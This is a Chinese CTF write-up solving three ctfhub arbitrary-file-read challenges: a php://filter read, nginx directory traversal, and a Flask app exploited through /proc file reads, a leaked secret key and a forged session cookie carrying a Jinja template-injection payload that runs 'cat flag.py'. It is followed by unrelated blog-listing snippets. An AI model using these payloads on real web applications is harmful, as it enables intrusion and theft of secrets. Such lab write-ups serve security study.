ctfhub -afr -1 2 3

news2025/8/6 4:07:18

afr-1

 打开题目链接

默认的传参数据为 ?p=hello

更改一下试试看  ?p=111  无回显

?p=flag  回显了  no no no

 想到了 php任意文件读取

?p=php://filter/read=convert.base64-encode/resource=flag

 回显出数据

 应该是base64  拿去解码

得到flag 

afr-2

打开题目链接

 查看源代码 

nginx配置问题导致存在目录穿越    访问它的前一个目录  img../

/img../flag  

得到flag  

afr-3

打开题目链接  (看似为XSS   ?)

传入个数据看看   打破最初的猜想

点击article 

 name参数是个点  利用这个name参数获取当前执行系统命令  读取系统文件 

补充(Linux系统上的/proc目录是一种文件系统  即proc文件系统  与其它常见的文件系统不同的是  /proc是一种伪文件系统(也即虚拟文件系统) 存储的是当前内核运行状态的一系列特殊文件  用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息  甚至可以通过更改其中某些文件来改变内核的运行状态
/proc/[pid]  当查看当前进程的时候可以用/proc/self代替
cmdline — 启动当前进程的完整命令  但僵尸进程目录中的此文件不包含任何信息
cwd — 指向当前进程运行目录的一个符号链接
environ — 当前进程的环境变量列表  彼此间用空字符(NULL)隔开  变量用大写字母表示  其值用小写字母表示)

任意文件读取漏洞    读取到结果  看到当前目录存在的两个文件  flag.py和key.py

白盒测试

<h1>Article Content:</h1> <br>#!/usr/bin/python
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask_session import Session
 
app = Flask(__name__)
execfile('flag.py')
execfile('key.py')
 
FLAG = flag
app.secret_key = key
@app.route("/n1page", methods=["GET", "POST"])
def n1page():
    if request.method != "POST":
        return redirect(url_for("index"))
    n1code = request.form.get("n1code") or None
    if n1code is not None:
        n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")
    if "n1code" not in session or session['n1code'] is None:
        session['n1code'] = n1code
    template = None
    if session['n1code'] is not None:
        template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']
        session['n1code'] = None
    return render_template_string(template)
 
@app.route("/", methods=["GET"])
def index():
    return render_template("main.html")
@app.route('/article', methods=['GET'])
def article():
    error = 0
    if 'name' in request.args:
        page = request.args.get('name')
    else:
        page = 'article'
    if page.find('flag')>=0:
        page = 'notallowed.txt'
    try:
        template = open('/home/nu11111111l/articles/{}'.format(page)).read()
    except Exception as e:
        template = e
 
    return render_template('article.html', template=template)
 
if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=False)

发现flag在flag.py   flask的appkey在key.py  但是此处任意文件读取漏洞被过滤了关键词flag

构造payload  先访问flag.py  无果

伪造session  先获取一下key

 再访问 key.py

 利用flask-session-manage 伪造session

./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"

.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.YD97iA.kUHfV05dXGFmHNS5bumL3yu4J2E

抓包  更换cookie session

 得到flag   n1book{afr_3_solved}

小结:

A: php任意文件读取

B: nginx配置之目录穿越 

C:/porc目录

D:flask-session

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/15785.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【第一阶段:java基础】第8章:面向对象编程高级-1(P333-P393)static、main、代码块、单例设计模式

本系列博客是韩顺平老师java基础课的课程笔记&#xff0c;B站&#xff1a;课程链接&#xff0c;吐血推荐的一套全网最细java教程&#xff0c;获益匪浅&#xff01; 韩顺平P333-P393类变量和类方法类变量/静态变量类方法/静态方法理解main方法语法代码块注意事项好处细节单例设计…

Java接口

什么是接口&#xff1f; 在Java中&#xff0c;接口可以看成是多个类的公共规范&#xff0c;是一种引用数据类型。 使用关键字interface来定义接口 interface IRunning {void run(); }在创建接口时&#xff0c;接口的命名一般以大写字母I开头&#xff0c;接口的命名一般使用形…

【数据结构】栈和队列

文章目录栈和队列栈栈的概念及结构栈的实现初始化栈入栈出栈获取栈顶元素获取栈中有效元素个数判断栈是否为空销毁栈括号匹配问题队列队列的概念及结构队列的实现初始化队列队尾入队列对头出队列获取队头元素获取队尾元素销毁队列判断队列是否为空栈和队列 栈 栈的概念及结构…

带你初识微服务

博客主页&#xff1a;踏风彡的博客 博主介绍&#xff1a;一枚在学习的大学生&#xff0c;希望在这里和各位一起学习。 所属专栏&#xff1a;SpringCloud 文章创作不易&#xff0c;期待各位朋友的互动&#xff0c;有什么学习问题都可在评论区留言或者私信我&#xff0c;我会尽我…

同花顺_代码解析_技术指标_L

本文通过对同花顺中现成代码进行解析&#xff0c;用以了解同花顺相关策略设计的思想 目录 LH_LYDG LH_猎鹰歼狐 LHBLX LHSJ LHTZ LHXJ LH猎狐雷达 LOF净值 LWR LH_LYDG 猎鹰渡关&#xff08;检测大盘顶部&#xff09; 指标用法&#xff1a; &#xff08;1&#xff…

进程间的信号

目录 一.信号入门 1.1概念 1.2信号发送与记录 1.3信号的处理方式 二.产生信号的方式 2.1通过终端按键产生 2.2通过系统函数向进程发信号 2.3由软件条件产生信号 2.4由硬件异常产生信号 三.阻塞信号 3.1信号相关概念 3.2信号在内核的表示 3.3sigset_t&#xff1a; 3.4…

工具及方法 - 使用Total Commander来查找重名文件

我只是一个Total Commander的轻度使用者&#xff0c;主要使用的是打开多个窗口&#xff0c;可以方便的以标签形式切换。 还有&#xff0c;这个软件是免费的&#xff0c;只是免费版打开时多一步&#xff0c;要输入个数字验证。 今天在使用一个SDK时&#xff0c;要包含进很多头文…

论文阅读笔记《Locality Preserving Matching》

核心思想 该文提出一种基于局部保持的特征匹配方法&#xff08;LPM&#xff09;。其核心思想是对于一个正确匹配点&#xff0c;其邻域范围内的其他匹配点与对应目标点之间的变换关系&#xff0c;应该和正确的匹配点保持一致&#xff0c;而错误匹配点&#xff0c;则应该有较大的…

第一章《初学者问题大集合》第6节:IntelliJ IDEA的下载与安装

当完成了Java开发环境之后&#xff0c;各位读者就可以开始编写第一个Java程序了。可是应该在哪里写程序呢&#xff1f;早期的开发者们都是用纯文本编辑工具编写Java程序&#xff0c;并且在命令行窗口中编译和运行Java程序。时至今日&#xff0c;我们早已远离了那个程序开发的“…

CentOs程序环境准备

1. MySQL的安装启动 选择指定操作系统指定版本的mysql进行下载 MySQL :: Download MySQL Community Serverhttps://dev.mysql.com/downloads/mysql/5.7.html#downloads 选择复制下载链接 回到终端&#xff0c;执行此命令下载 wget https://dev.mysql.com/get/Downloads/MyS…

举个栗子~Tableau 技巧(244):用和弦图(Chord diagram)呈现数据关系

关于和弦图 和弦图&#xff08;Chord diagram&#xff09;常用来表示数据之间的相互关系。数据点沿着圆圈分布&#xff0c;通过点和点之间相互连接的弧线来呈现相互之间的关系。和弦图从视觉上来说比较美观&#xff0c;数据呈现又很直观&#xff0c;所以深受数据粉喜爱。 之前…

【Linux初阶】Linux调试器-gdb使用 | gdb的 l/b/info/d/r/n/s/bt/finish/p/(un)display/q

&#x1f31f;hello&#xff0c;各位读者大大们你们好呀&#x1f31f; &#x1f36d;&#x1f36d;系列专栏&#xff1a;【Linux初阶】 ✒️✒️本篇内容&#xff1a;gdb使用相关背景知识&#xff0c;gdb的使用&#xff08;打断点、查断点、消断点、调试运行、查看对应变量&…

【python拼图游戏】图片自选,来挑战一下自己的极限吧~

嗨害大家好鸭&#xff01;我是小熊猫❤ 拼图的画面多以自然风光、建筑物以及一些为人所熟识的图案的为题材。 城堡和山峦是两类传统的主题&#xff0c; 不过任何图画和影像都可以用做拼图的素材。 有一些公司还提供将私人摄影作品制成拼图的服务。 今天我小熊猫就给带来py…

FFmpeg5.1 解码rtsp 并用OpenCV 播放

RTSP 连接过程如下图 看下实际过程中FFmpeg 的日志情况&#xff1a; [tcp 0000014CC3256D40] No default whitelist set [tcp 0000014CC3256D40] Original list of addresses: [tcp 0000014CC3256D40] Address ::1 port 8554 [tcp 0000014CC3256D40] Address 127.0.0.1 po…

使用BP神经网络、RBF神经网络以及PSO优化的RBF神经网络对数据进行预测(Matlab代码实现)

&#x1f352;&#x1f352;&#x1f352;欢迎关注&#x1f308;&#x1f308;&#x1f308; &#x1f4dd;个人主页&#xff1a;我爱Matlab &#x1f44d;点赞➕评论➕收藏 养成习惯&#xff08;一键三连&#xff09;&#x1f33b;&#x1f33b;&#x1f33b; &#x1f34c;希…

Keysight是德科技E5061B网络分析仪-安泰测试

E5061B ENA系列网络分析仪从5Hz 至3GHz提供了广泛的频率范围。它不仅支持一般的射频应用(例如滤波器或放大器测量等)&#xff0c;还支持低频应用(例如直流至直流转换器环路增益测量)。因此&#xff0c;它是所有实验台上进行网络分析的最重要工具。 拥有E5061B&#xff0c;您就…

Selenium4 新特性

一、Selenium4 简介 Selenium是一个综合性项目,包含一系列的工具和库,支持Web浏览器的各种自动化操作: 软件测试爬虫领域RPA领域优点: 开源:https://github.com/SeleniumHQ兼容性: Chrome、FireFox、Edeg、IE、Opera、Safari支持多种编程语言:Java、Python、C#、Ruby、…

Charles抓包web、手机、小程序配置

一、下载地址 二、web抓包 Charles Web抓包&#xff0c;启动Charles会自动与浏览器设置成代理&#xff0c;不需要进行过多的设置。接下来就是通过浏览器发送网络请求&#xff0c;Charles就会直接抓取到这些信息和响应信息。 1、抓取HTTPS协议 Charles配置 点击顶部菜单栏【He…

双功能螯合剂p-NCS-Bz-DFO,1222468-90-7,p-SCN-Bn-Deferoxamine特点分析

●外观以及性质&#xff1a; p-SCN-Bn-Deferoxamine属于双功能螯合剂&#xff0c;西安凯新生物科技有限公司是各种修饰性PEG供应商&#xff0c;提供各种品质优良PEG衍生物&#xff0c;分子量从1000-40000不等&#xff0c;纯度≥95%&#xff0c;发货速度快。 ●中文名&#xff…

Web学习笔记-React

笔记内容转载自AcWing的Web应用课讲义&#xff0c;课程链接&#xff1a;AcWing Web应用课。 CONTENTS1. React配置环境2. ES6语法补充3. Components1. React配置环境 React官网&#xff1a;React。 React是一个声明式&#xff0c;高效且灵活的用于构建用户界面的JavaScript库…